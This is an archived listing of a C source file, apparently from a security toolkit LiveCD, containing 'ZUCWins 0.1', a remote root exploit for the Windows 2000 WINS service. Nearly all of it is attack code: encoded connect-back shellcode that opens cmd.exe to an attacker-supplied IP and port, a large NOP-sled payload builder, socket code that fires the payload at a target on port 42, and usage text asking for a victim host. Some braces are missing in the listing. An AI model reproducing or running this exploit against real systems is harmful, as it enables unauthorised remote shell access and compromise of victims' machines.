home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / ZUC-WINShit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  142 lines

  1. /*************************************************************/
  2. /* ZUCWins 0.1 - Wins 2000 remote root exploit                                     */
  3. /* Exploit by : <zuc@hack.it>                                               */ 
  4. /* works on Windows 2000 SP3/SP4 probably every language                  */
  5. /*************************************************************/
  6.  
  7. /* Successfully tested by K-OTik Security on Win2k ENGLISH & FRENCH    */
  8. /* Could be Compiled in CygWin, just google for curses.h and put it in the right path it. (KumKum)    */
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <sys/socket.h>
  14. #include <time.h>
  15. #include <netinet/in.h>
  16. #include <curses.h>
  17. #include <unistd.h>
  18. #include <errno.h>
  19. #include <netdb.h>
  20. #include <signal.h>
  21. #include <sys/types.h>
  22. #include <sys/time.h>
  23. #include <sys/select.h>
  24. #include <netinet/in.h>
  25. #include <arpa/inet.h>
  26.  
  27.     char shellcode[] =
  28. "\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"
  29. "\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
  30. "\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
  31. "\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
  32. "\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
  33. "\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
  34. "\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
  35. "\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
  36. "\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
  37. "\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
  38. "\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
  39. "\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
  40. "\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"
  41. "\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"
  42. "\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"
  43. "\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"
  44. "\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"
  45. "\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"
  46. "\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"
  47. "\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"
  48. "\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"
  49. "\x55\xe4";
  50.  
  51. char mess[] =
  52. "\x00\x03\x0d\x4c\x77\x77\xFF\x77\x05\x4e\x00\x3c\x01\x02\x03\x04"
  53. //  "\x00\x03\x0d\x4c\x77\x77\xFF\x77\x05\x4e\x00\x3c\x01\x02\x03\x04"
  54.     
  55. "\x6c\xf4\x3d\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\
  56. x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05";
  57. char rep[] =
  58.     
  59. "\x90\x01\x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x00\
  60. x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x03\x4e\x05\x90\x00\x4e\x05";
  61. void usage();
  62.  
  63. int main(int argc, char *argv[])
  64. int i,sock,sock2,sock3,addr,len=16;
  65. int rc;
  66.   unsigned long XORIP = 0x93939393;
  67.   unsigned short XORPORT = 0x9393;
  68. int cbport;
  69. long cbip;
  70.  
  71. struct sockaddr_in mytcp;
  72. struct hostent * hp;
  73.  
  74. if(argc<4 || argc>4)
  75. usage();
  76.  
  77. cbport = htons(atoi(argv[3]));
  78. cbip = inet_addr(argv[2]);
  79. cbport ^= XORPORT;
  80. cbip ^= XORIP;
  81. memcpy(&shellcode[2],&cbport,2);
  82. memcpy(&shellcode[4],&cbip,4);
  83.  
  84. char mess2[200000];
  85. memset(mess2,0,sizeof(mess2));
  86. char mess3[210000];
  87. memset(mess3,0,sizeof(mess3));
  88. int ir;
  89. for(ir =0;ir<200000;ir++)mess2[ir]='\x90';
  90. memcpy(mess3,mess,sizeof(mess)-1);
  91. int r=0;int le=sizeof(mess)-1;
  92. for(r;r<30;r++)
  93. {
  94.     memcpy(mess3+le,rep,sizeof(rep)-1);
  95.     le+=sizeof(rep)-1;
  96. }
  97. memcpy(mess3+le,mess2,200000);
  98. memcpy(mess3+le+198000,shellcode,sizeof(shellcode));
  99. int lenr=le+200000+sizeof(shellcode);
  100. hp = gethostbyname(argv[1]);
  101.  
  102. addr = inet_addr(argv[1]);
  103.  
  104. sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  105. if (!sock)
  106. //printf("socket() error...\n");
  107. exit(-1);
  108. }
  109.  
  110. mytcp.sin_addr.s_addr = addr;
  111.  
  112. mytcp.sin_family = AF_INET;
  113.  
  114. mytcp.sin_port=htons(42);
  115.  
  116. printf("[*] connecting the target\n");
  117.  
  118. rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct 
  119. sockaddr_in));
  120. printf("[*] sending exploit\n");
  121. send(sock,mess3,lenr,0);
  122. printf("[*] exploit sent\n");
  123. sleep(5);
  124. shutdown(sock,1);
  125. close(sock);
  126. shutdown(sock,2);
  127. close(sock2);
  128. shutdown(sock,3);
  129. close(sock3);
  130. exit(0);
  131. }
  132.  
  133. void usage()
  134. {
  135. unsigned int a;
  136. printf("\nUsage: <victim-host> <connectback-ip> <connectback port>\n");
  137. printf("Sample: ZUC-WINShit www.vulnwins.com 31.33.7.23 31337\n\n");
  138. exit(0);
  139. }
  140.